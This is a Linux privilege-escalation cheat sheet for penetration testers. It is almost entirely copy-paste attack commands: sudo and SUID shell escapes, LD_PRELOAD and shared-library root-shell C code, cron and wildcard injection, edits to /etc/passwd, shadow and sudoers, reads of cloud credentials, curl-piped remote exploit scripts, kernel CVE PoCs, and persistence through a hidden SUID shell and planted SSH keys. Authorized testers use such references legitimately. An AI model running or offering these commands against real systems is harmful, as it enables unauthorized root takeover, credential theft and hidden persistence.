Linux Privilege Escalation

Linux Privilege Escalation

For authorized testing only. Every block is copy-paste ready — replace <PLACEHOLDERS>.


1. Triage in 60 seconds

id; hostname; uname -a; cat /etc/os-release | head -3
sudo -n -l 2>/dev/null                      # passwordless sudo?
find / -perm -4000 -type f 2>/dev/null       # SUID binaries
getcap -r / 2>/dev/null                      # file capabilities
cat /etc/crontab; ls -la /etc/cron.* 2>/dev/null
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null   # writable?
id | grep -E 'docker|lxd|lxc|disk|adm|sudo|wheel|shadow|video'
ps aux | grep -E '^root' | grep -vE '\[|sshd|systemd|cron' | head -30

If any of these returns something interesting, jump to that section. Otherwise run the automated tools.


2. Automated enumeration

# linPEAS (best first pass)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/l.sh && sh /tmp/l.sh -a 2>/dev/null | tee /tmp/linpeas.txt
# Without touching disk
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash -s -- -t

# linux-exploit-suggester (kernel + userland CVEs)
curl -L https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

# pspy — watch processes/cron without root (gold for cron/timer jobs)
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy -pf -i 1000

# Serve from attacker box if no internet on target
python3 -m http.server 80            # attacker
wget http://<ATTACKER>/linpeas.sh -O /tmp/l.sh   # target

3. Manual enumeration (what the tools look for)

# --- System ---
cat /proc/version; cat /etc/issue; arch
dpkg -l 2>/dev/null | head; rpm -qa 2>/dev/null | head
env; echo $PATH
cat /etc/hosts; cat /etc/resolv.conf
ip a; ss -tulpn; netstat -tulpn 2>/dev/null       # internal-only services = pivot targets
mount; cat /etc/fstab; df -h

# --- Users ---
cat /etc/passwd | grep -vE 'nologin|false'
cat /etc/group; getent group sudo wheel docker lxd adm
last -a | head; w; who
ls -la /home/*; ls -la /root 2>/dev/null

# --- Files worth reading ---
find / -name "*.conf" -o -name "*.config" -o -name "*.cnf" -o -name "*.ini" 2>/dev/null | grep -vE 'proc|sys|usr/share' | head -50
find / -name "*.bak" -o -name "*.old" -o -name "*.orig" -o -name "*.swp" 2>/dev/null | grep -v proc
find / -name "id_rsa*" -o -name "id_ed25519*" -o -name "*.pem" -o -name "*.key" 2>/dev/null | grep -v proc
find / -name ".git" -type d 2>/dev/null; find / -name ".env" 2>/dev/null
cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.python_history 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE 'proc|sys|tmp|dev' | head
find / -writable -type f 2>/dev/null | grep -vE 'proc|sys|tmp|dev|cgroup' | head

# --- Credential grep ---
grep -rniE 'password|passwd|pwd|secret|token|api[_-]?key' /etc /opt /var/www /home 2>/dev/null | grep -vE 'Binary|\.md:|#' | head -40
grep -rE 'DB_PASS|DATABASE_URL|AWS_SECRET|PRIVATE_KEY' / --include=*.env --include=*.yml --include=*.yaml --include=*.json --include=*.php 2>/dev/null | head

# --- Running as root with writable config/binary? ---
ps -eo user,pid,cmd | grep '^root' | awk '{print $3}' | sort -u | while read b; do [ -w "$b" ] && echo "WRITABLE ROOT BINARY: $b"; done

4. sudo

sudo -l                                   # always. Note (ALL) NOPASSWD, env_keep, !authenticate, setenv
sudo -V | head -1                         # version → CVE check below

# --- GTFOBins: any allowed binary with shell escape ---
# https://gtfobins.github.io — search the binary, use the "Sudo" section
sudo vim -c ':!/bin/sh'
sudo less /etc/profile           # then  !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo env /bin/sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo nmap --interactive         # old nmap; or  --script=<lua shell>
sudo git -p help config         # then  !sh
sudo apt-get changelog apt      # then  !sh
sudo systemctl status           # pager → !sh
sudo journalctl                 # pager → !sh
sudo mount -o bind /bin/sh /bin/mount; sudo mount

# --- LD_PRELOAD / LD_LIBRARY_PATH preserved (env_keep) ---
cat > /tmp/pe.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <ANY_ALLOWED_BINARY>

# --- sudo allows a script you can edit, or a binary via relative/writable path ---
# (ALL) /opt/backup.sh  → is /opt/backup.sh or any command inside it writable? does it call binaries without full path?
# (ALL) /usr/bin/python3 /opt/app/run.py → writable run.py or a hijackable import?

# --- sudo with wildcard ---
# (ALL) /bin/chown * /var/log/*   → symlink attack:  ln -s /etc/shadow /var/log/x; sudo chown $(id -u) /var/log/x

# --- sudoedit / setenv ---
# (ALL) sudoedit /etc/app.conf  → CVE-2023-22809 (sudo 1.8.0–1.9.12p1):
EDITOR='vim -- /etc/sudoers' sudoedit /etc/app.conf

sudo CVEs (check version first)

CVEVersionsOne-liner
CVE-2025-32463 (chroot)1.9.14 – 1.9.17sudo -R <dir> with crafted /etc/nsswitch.conf in chroot → root. PoC: github.com/pr0v3rbs/CVE-2025-32463_chwoot
CVE-2025-32462 (host)1.8.8 – 1.9.17sudo -h <other-host-in-sudoers> cmd runs rules meant for another host
CVE-2023-22809 (sudoedit)1.8.0 – 1.9.12p1EDITOR='vim -- /etc/sudoers' sudoedit <allowed-file>
CVE-2021-3156 (Baron Samedit)< 1.9.5p2sudoedit -s '\' $(python3 -c 'print("A"*1000)') → segfault = vuln. PoC: github.com/blasty/CVE-2021-3156
CVE-2019-14287< 1.8.28sudo -u#-1 /bin/bash when rule is (ALL, !root)
CVE-2019-18634 (pwfeedback)< 1.8.31perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id

5. SUID / SGID

find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
find / -perm -2000 -type f -exec ls -la {} \; 2>/dev/null
# Compare against a stock list — unusual = look at it. Then GTFOBins "SUID" section:
./bash -p
./find . -exec /bin/sh -p \; -quit
./python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
./env /bin/sh -p
./vim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'
./cp /etc/passwd /tmp/p; # edit, then  ./cp /tmp/p /etc/passwd
./nano /etc/sudoers   # if nano is SUID

# Custom SUID binary — what does it call?
strings <bin> | grep -E '^[a-z]+$' | head          # relative command names?
ltrace ./<bin> 2>&1 | head; strace -f ./<bin> 2>&1 | grep -E 'execve|open' | head

# PATH hijack of a relative call inside a SUID binary
echo '/bin/bash -p' > /tmp/<called_cmd>; chmod +x /tmp/<called_cmd>
PATH=/tmp:$PATH ./<bin>

# Shared library hijack — SUID binary loads a missing/writable .so
strace ./<bin> 2>&1 | grep -iE 'open.*\.so' | grep -E 'ENOENT'
ldd ./<bin>
# write the missing .so with a constructor:
cat > /tmp/x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void i(){ setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -shared -fPIC -o <missing_path>.so /tmp/x.c

6. Capabilities

getcap -r / 2>/dev/null
# cap_setuid → root shell
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_read_search / cap_dac_override → read/write any file
tar -cvf /tmp/s.tar /etc/shadow; tar -xvf /tmp/s.tar -C /tmp     # with cap_dac_read_search on tar
# cap_sys_admin → mount / cgroup escape; cap_sys_ptrace → inject into root proc; cap_sys_module → load kernel module
# cap_chown → chown /etc/shadow; cap_fowner → chmod /etc/shadow
# node / php / ruby / gdb with cap_setuid:
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

7. Cron, timers, services

cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
crontab -l; ls -la /var/spool/cron/crontabs/ 2>/dev/null
systemctl list-timers --all
# pspy shows the real thing: what root actually runs, with what PATH
/tmp/pspy -pf -i 500

# --- Writable script run by root cron ---
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/to/cron_script.sh    # then /tmp/rb -p
echo 'chmod +s /bin/bash' >> /path/to/cron_script.sh

# --- Cron PATH hijack (crontab PATH has a writable dir before /usr/bin, job uses relative name) ---
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb && chmod +s /tmp/rb' > /home/<you>/<relative_cmd>; chmod +x /home/<you>/<relative_cmd>

# --- Wildcard injection (tar/rsync/chown/chmod run by root in a dir you can write) ---
cd /writable/dir
echo 'chmod +s /bin/bash' > sh.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh sh.sh'    # tar *
touch -- '-e sh sh.sh'                                            # rsync *
touch -- '--reference=/etc/shadow'                                # chown/chmod *

# --- Writable systemd unit or its ExecStart target ---
find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null
systemctl cat <svc> | grep -E 'Exec|User'; ls -la $(systemctl cat <svc> | grep ExecStart | awk '{print $1}' | cut -d= -f2)
# edit ExecStart → malicious; then  systemctl daemon-reload; systemctl restart <svc>   (needs sudo/polkit for restart — or wait for reboot)

8. Writable sensitive files

# /etc/passwd writable → add root user
openssl passwd -1 -salt x pw123              # → $1$x$...
echo 'r00t:$1$x$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd; su r00t
# or blank the root password field:  sed -i 's/^root:x:/root::/' /etc/passwd; su

# /etc/shadow readable → crack
unshadow /etc/passwd /etc/shadow > /tmp/h; john /tmp/h --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1800 /tmp/h rockyou.txt     # $6$ sha512crypt; -m 500 md5crypt; -m 3200 bcrypt; -m 7400 sha256crypt

# /etc/shadow writable → replace root hash
mkpasswd -m sha-512 pw123; sed -i "s|^root:[^:]*:|root:<hash>:|" /etc/shadow

# /etc/sudoers writable
echo '<you> ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# root's authorized_keys dir writable (or /root/.ssh missing + /root writable)
mkdir -p /root/.ssh; echo '<your_pubkey>' >> /root/.ssh/authorized_keys

# /etc/ld.so.preload writable → every new process loads your .so as root
echo /tmp/pe.so > /etc/ld.so.preload     # pe.so from §4

9. Group-based escalation

# --- docker ---
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run -v /:/host --rm -it --privileged ubuntu bash   # then chroot /host

# --- lxd / lxc ---
# build alpine image on attacker: git clone https://github.com/saghul/lxd-alpine-builder; ./build-alpine; scp alpine*.tar.gz target:/tmp
lxc image import /tmp/alpine*.tar.gz --alias a
lxc init a c -c security.privileged=true
lxc config device add c h disk source=/ path=/mnt/root recursive=true
lxc start c; lxc exec c /bin/sh      # then chroot /mnt/root
# lxd init first if no storage pool:  lxd init --auto

# --- disk ---
debugfs /dev/sda1          # then: cat /etc/shadow   /  or dump /root/.ssh/id_rsa /tmp/k
df -h | head; lsblk

# --- adm ---  read logs → creds, tokens
grep -riE 'pass|token' /var/log 2>/dev/null | head

# --- shadow ---  cat /etc/shadow → crack (§8)
# --- video ---  cat /dev/fb0 > /tmp/fb.raw  (screen capture)  ;  cat /sys/class/graphics/fb0/virtual_size
# --- staff ---  write to /usr/local/bin (in root's PATH)

10. NFS / network shares

cat /etc/exports                              # on target:  no_root_squash ?
showmount -e <TARGET>                         # from attacker
mkdir /tmp/nfs; mount -t nfs <TARGET>:/<share> /tmp/nfs -o nolock
# as root on attacker:
cp /bin/bash /tmp/nfs/rb; chmod +s /tmp/nfs/rb     # or compile setuid(0) C
# on target:  /<share>/rb -p
# NFSv4 + no_root_squash still works; squash_root → try nfs-ls / id spoofing with uid of file owner

11. Credentials & tokens lying around

# SSH keys / agents
ls -la ~/.ssh /home/*/.ssh /root/.ssh 2>/dev/null; cat ~/.ssh/config
ls /tmp/ssh-*/agent.* 2>/dev/null; SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.NNN ssh-add -l   # hijack agent socket (needs same uid or root)
# screen / tmux sockets owned by root with lax perms
ls -la /tmp/tmux-* /var/run/screen/S-* 2>/dev/null; tmux -S /tmp/tmux-0/default attach
# process env / memory
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|token|key' | sort -u
# MySQL running as root with known creds → UDF or FILE priv
mysql -u root -e 'select load_file("/etc/shadow")'
mysql -u root -e "select sys_exec('chmod +s /bin/bash')"      # if lib_mysqludf_sys loaded
# kubernetes / cloud creds on the box
cat ~/.kube/config /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat ~/.aws/credentials ~/.config/gcloud/credentials.db ~/.azure/accessTokens.json 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# Password reuse: try found creds against root / other users
su root; su <user>

12. Kernel & userland CVEs that still work

Check version, then only run what matches — kernel exploits can crash the box.

uname -r; cat /etc/os-release; glibc: ldd --version | head -1; pkexec --version; sudo -V | head -1
CVEAffectsPoC / check
CVE-2021-4034 PwnKitpolkit pkexec < 0.120 (nearly every distro pre-Jan 2022)github.com/ly4k/PwnKit → sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
CVE-2022-0847 DirtyPipekernel 5.8 – 5.16.11 / 5.15.25 / 5.10.102github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits (overwrite /etc/passwd or SUID bin)
CVE-2023-4911 Looney Tunablesglibc 2.34 – 2.38 (Ubuntu 22.04/23.04, Fedora 37/38, Debian 12)github.com/leesh3288/CVE-2023-4911; check: env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help → segfault = vuln
CVE-2023-0386 OverlayFSkernel 5.11 – 6.2 (Ubuntu 20.04/22.04 before Mar 2023)github.com/xkaneiki/CVE-2023-0386
CVE-2023-2640 / CVE-2023-32629 GameOver(lay)Ubuntu kernels (22.04 6.2, 20.04 5.4) before Jul 2023unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'
CVE-2022-2588 / CVE-2022-32250 (nf_tables)kernel ≤ 5.18github.com/Markakd/CVE-2022-2588, github.com/theori-io/CVE-2022-32250-exploit
CVE-2024-1086 nf_tables UAFkernel 5.14 – 6.6.14 (many distros, Jan 2024)github.com/Notselwyn/CVE-2024-1086 — very reliable
CVE-2021-3493 OverlayFSUbuntu kernels before Apr 2021github.com/briskets/CVE-2021-3493
CVE-2021-22555 netfilterkernel 2.6.19 – 5.12github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555
CVE-2016-5195 DirtyCOWkernel < 4.8.3 (ancient boxes)github.com/firefart/dirtycow
CVE-2025-32463 sudo chrootsudo 1.9.14 – 1.9.17see §4
# Build on target or static-build on attacker with matching glibc; copy via scp/wget
gcc exploit.c -o /tmp/x -static && /tmp/x

13. Misc one-offs worth checking

# Python module hijack (script run by root imports from a writable path or cwd)
python3 -c 'import sys; print(sys.path)'; ls -la /usr/lib/python3*/ | grep -E '^d.*w'
# /usr/lib/python3/dist-packages writable? drop  os.py  or the imported module name

# Writable /etc/profile.d, /etc/bash.bashrc, /etc/environment → root sources on login
# Writable /etc/update-motd.d/* → root runs on SSH login (Ubuntu)
# Writable /etc/apt/apt.conf.d/ → APT::Update::Pre-Invoke {"chmod +s /bin/bash"};  (runs at next apt update)
# Writable /etc/logrotate.d + logrotate < 3.18 → logrotten (CVE-2016-1247 style)

# polkit / dbus (Ubuntu 20.04: CVE-2021-3560)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn" int32:1 & sleep 0.008s; kill $!
# → race creates admin user; then set password via SetPassword with same race

# Snap (dirty_sock, snapd < 2.37)
# Screen 4.5.0 SUID (CVE-2017-5618): ld.so.preload write
# Exim, Nagios, Redis-as-root (write authorized_keys via CONFIG SET dir), ...

# Container / cloud box? → see Kubernetes Pentesting and Docker notes
cat /proc/1/cgroup | grep -qE 'docker|kubepods|lxc' && echo "IN CONTAINER"

14. Post-root

# Persistent root shell
cp /bin/bash /var/tmp/.x; chmod 4755 /var/tmp/.x           # /var/tmp/.x -p
echo '<your_pubkey>' >> /root/.ssh/authorized_keys
# Grab everything
cat /etc/shadow; cat /root/.bash_history; ls -la /root/.ssh
# Pivot: internal listeners, other hosts, cloud metadata
ss -tulpn; arp -a; cat /etc/hosts; curl -s http://169.254.169.254/ -m 2

References